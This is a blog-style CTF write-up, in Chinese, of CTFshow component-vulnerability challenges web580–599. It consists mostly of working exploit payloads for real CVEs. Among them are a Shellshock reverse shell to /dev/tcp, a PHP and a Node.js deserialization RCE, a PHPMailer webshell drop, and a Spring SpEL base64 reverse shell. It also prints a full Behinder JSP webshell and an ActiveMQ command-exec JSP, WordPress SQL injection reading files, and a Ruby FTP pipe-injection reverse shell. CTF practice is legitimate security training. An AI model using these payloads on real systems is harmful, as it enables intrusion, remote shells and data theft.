CTFshow--组件漏洞专题


[TOC]

web580

看 url ,cgi 的 rce:CVE-2014-6271,不知道为什么不能直接读 flag,但是可以弹 shell,执行命令需要绝对路径

payload:User-Agent: () { :;}; `/bin/bash -i &>/dev/tcp/x.x.x.x/2333 <&1`

web581

yaml-parse官方介绍,最下面有说:如果带着 !php/object 标签,则标签后的内容会调用 unserialize() 函数,那这题不就很简单了

<?php

/**
 * @Author: yq1ng
 * @Date:   2021-08-03 15:13:26
 * @Last Modified by:   yq1ng
 * @Last Modified time: 2021-08-03 15:14:28
 */


class log{
    public $filename;
    public $content;
    public function __construct(){
        $this->filename = 'yq1ng.php';
        $this->content = '<?php eval($_POST["yq1ng"]); ?>';
    }
}

echo(urlencode(serialize(new log)));

payload:content=!php/object O%3A3%3A%22log%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A9%3A%22yq1ng.php%22%3Bs%3A7%3A%22content%22%3Bs%3A31%3A%22%3C%3Fphp+eval%28%24_POST%5B%22yq1ng%22%5D%29%3B+%3F%3E%22%3B%7D

web582

参考:【漏洞分析】利用Node.js反序列化的漏洞执行远程代码(含演示视频)

下载所需脚本:wget https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py -o nodejsshell.py

生成 payload :py2 .\nodejsshell.py x.x.x.x 2333

构造 exp :{"username":"_$$ND_FUNC$$_function (){ 生成的payload }()","password":"aaa"} –> 进行base64编码

随便登陆一个账户,然后更改 cookie 中 user 的值为 exp 即可(记得 vps 监听端口)

web583

参考:PHPMailer 远程命令执行漏洞复现

发件人:yq1ng

邮箱:"attacker\" -oQ/tmp -X/var/www/html/shell.php soapffz"@gmail.com

内容:<?php @eval($_POST[a]);?>

然后访问 URL/shell.php,密码为a。直接POST:a=system('cat /flag_is_here');即可

当然,也有一键exp:https://github.com/opsxcq/exploit-CVE-2016-10033

web584

扫目录扫到 URL/api ,你扫不到?那还不加到字典里面

image-20210803161716545

Spring 框架漏洞集合CVE-2017-8046 复现与分析CTFshow—WEB入门—(组件漏洞)580-599 WP

# -*- coding: utf-8 -*-
# @Author: yq1ng
# @Date:   2021-08-03 16:43:50
# @Last Modified by:   yq1ng
# @Last Modified time: 2021-08-03 16:48:18

#  自己改弹shell的命令
payload = b'bash -c {echo,YmFzaCAtaSAmPi9kZXYvdGNwL3gueC54LngvMjMzMyA8JjE=}|{base64,-d}|{bash,-i}'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)
PATCH /api/people/1 HTTP/1.1
Host: 81f61eb8-42bb-4423-824c-88573a92ebaa.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type:application/json-patch+json
Upgrade-Insecure-Requests: 1
Content-Length: 440

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{上面生成的一串数字}))/lastName", "value": "vulhub" }]

web585

看 tomcat 版本,漏洞一搜就出来了:Apache Tomcat远程代码执行漏洞

创建文件时结尾需要使用 /,不然就是访问了,会出 404,创建成功返回 201、已经存在返回 204。然后冰蝎链接,正好 flag 在 env

PUT /yq1ng.jsp/ HTTP/1.1
Host: a92ec4b8-7181-4b32-9966-c6c3ac449c3c.challenge.ctf.show:8080
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 612

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

image-20210803171745037

web586

近期文章提示的很明显啦,搜一下就有 poc:https://www.exploit-db.com/exploits/39896

注册登陆,POST http://a0bd201a-f37f-47e6-a00d-26468c4e52f2.challenge.ctf.show:8080/wp-admin/admin-ajax.php?action=populate_download_edit_form id=0 union select 1,2,3,4,5,6,load_file(0x2f666c61675f69735f68657265)

web587

梭哈:https://github.com/shack2/javaserializetools

web588

参考:浅析WebLogic任意文件上传(CVE-2018-2894)

访问:http://87237074-f8ef-45c9-92bf-972ca7bf4bf9.challenge.ctf.show:8080//ws_utc/config.do

修改其工作目录为:/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

在安全中上传木马,burp抓返回包,记录时间戳,然后访问 http://87237074-f8ef-45c9-92bf-972ca7bf4bf9.challenge.ctf.show:8080//ws_utc/css/config/keystore/1628041836123_shell.jsp,冰蝎连接即可(flag依然在 env)

web589

参考:漏洞复现-ActiveMq任意文件写入漏洞(CVE-2016-3088)

先登录,不然不能上传马子,url : /admin,账户密码:admin/admin

目录信息泄露:/admin/test/systemProperties.jsp,找到 activemq 安装目录: /opt/activemq

使用 poc 上传木马:PUT 方式 ,路径:/fileserver/yq1ng.jsp,木马随意

PUT /fileserver/yq1ng.jsp HTTP/1.1
Host: a82fc8fe-4f92-4e8f-bea6-df74b09f0e2b.challenge.ctf.show:8080
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 397

<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>

然后访问之,不能解析,需要移动到可解析目录

MOVE 方式,在请求头里面加上 Destination:file:///opt/activemq/webapps/api/yq1ng.jsp 然后访问 /api/yq1ng.jsp即可,密码为 cmd

MOVE /fileserver/yq1ng.jsp HTTP/1.1
Destination:file:///opt/activemq/webapps/api/yq1ng.jsp
Host: a82fc8fe-4f92-4e8f-bea6-df74b09f0e2b.challenge.ctf.show:8080
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 04 Aug 2021 02:02:14 GMT
Connection: close

web590

大佬改编的ysoserial:https://github.com/MrMeizhi/ysoserial-mangguogan

先用大佬的工具生成一个exp,登陆时抓包,修改 execution 的值,然后再请求头加上 cmd:命令(就是ysoserial的用法)

image-20210804104200225

web591

上传文件,抓包,在 hex 标签下的文件名后增加 0a,访问 url/shell.php%0a即可

为了方便,我上传文件名为 shell.phpa,修改 70 61

image-20210804105635200

web592

引自:Apache HTTPD 多后缀解析漏洞复现

Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。比如,如下配置文件:

AddType text/html .html
AddLanguage zh-CN .cn

其给.html后缀增加了media-type,值为text/html;给.cn后缀增加了语言,值为zh-CN。此时,如果用户请求文件index.cn.html,他将返回一个中文的html页面。以上就是Apache多后缀的特性。如果运维人员给.php后缀增加了处理器:

AddHandler application/x-httpd-php .php

那么,在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

上传一个 a.php.jpg 的一句话木马即可,只要文件名带 .php 即可解析

web593

引自:Apache SSI 远程命令执行漏洞复现

使用SSI(Server Side Include)的html文件扩展名(.shtml),通常称为”服务器端嵌入“或者叫”服务器端包含“。

shtml不是html而是一种服务器API,shtml是服务器动态产生的html。两者都是超文本格式,但shtml是一种用于SSI(Servcie Side Include ,服务器端包含指令)技术的文件,一般浏览器访问时会优先扫描依次shtml文件看有没有SSI指令存在,就就按服务器设定的规则去解释SSI指令,然后跟html一起被渲染。当shtml或shtm中不包含服务端可执行脚本时作用和html或htm一样。

在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!–#exec cmd="id" –>语法执行任意命令。

a.shtml :<!--#exec cmd="cat /f*" -->

web594

梭哈:https://github.com/simonlee-hello/CVE-2021-3129

web595

这个就是当时很火的 php git 被黑的那个,自己查查

web596

梭哈?梭哈!https://github.com/vulhub/vulhub/blob/master/python/PIL-CVE-2017-8291/poc.png

把创建文件改成反弹 shell 就行

web597

一开始用错了,,,找的 CVE-2019-5418,结果这题是 CVE-2018-3760

payload:http://01b6e267-f041-4729-901f-efd00add7e4a.challenge.ctf.show:8080/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/flag

web598

这次是 CVE-2019-5418 了,访问 /robots ,修改 Accept: ../../../../../../../../etc/passwd{{

web599

参考:vulhub–CVE-2017-17405

# 安装pyftpdlib
pip install pyftpdlib

# 在当前目录下启动一个ftp服务器,默认监听在`0.0.0.0:2121`端口
python3 -m pyftpdlib -p 2121 -i 0.0.0.0

image-20210804152455384

启动监听:nc -lvp 2333

访问:URL//download?uri=ftp://1.15.64.189:2121/&file=|bash${IFS}-c${IFS}'{echo,YmFza...}|{base64,-d}|{bash,-i}'

image-20210804152545360


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
  目录